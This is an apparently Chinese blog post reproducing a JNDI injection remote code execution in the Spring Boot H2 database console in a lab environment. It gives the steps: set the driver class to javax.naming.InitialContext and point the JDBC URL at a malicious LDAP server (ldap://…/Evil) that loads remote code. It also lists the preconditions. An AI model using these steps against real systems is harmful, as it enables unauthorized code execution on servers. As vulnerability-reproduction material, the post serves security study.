当前位置: 首页 > 工具软件 > h2database > 使用案例 >

h2 database console JNDI RCE复现

全丰
2023-12-01

h2 database console JNDI RCE复现

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce

漏洞复现:

  1. 访问 /h2-console 接口,目标会跳转到 /h2-console/login.do,这有一个可以连接 JDBC 服务的功能

  2. 把 Driver Class 设置为 javax.naming.InitialContext,JDBC URL 设置为 ldap://10.137.204.238:1389/Evil,账号密码均设置为空,点击 Connect 即可(Setting Name和Saved Settings随意)

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tyledjJP-1639053878368)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20211209204111394.png)]

利用条件:

  1. 目标可出外网,即可以连接到恶意 LDAP 服务
  2. spring.h2.console.enabled=true 配置为 true,为 false 则访问不了 /h2-console 接口

Reference:

https://github.com/LandGrey/SpringBootVulExploit
https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ

 类似资料: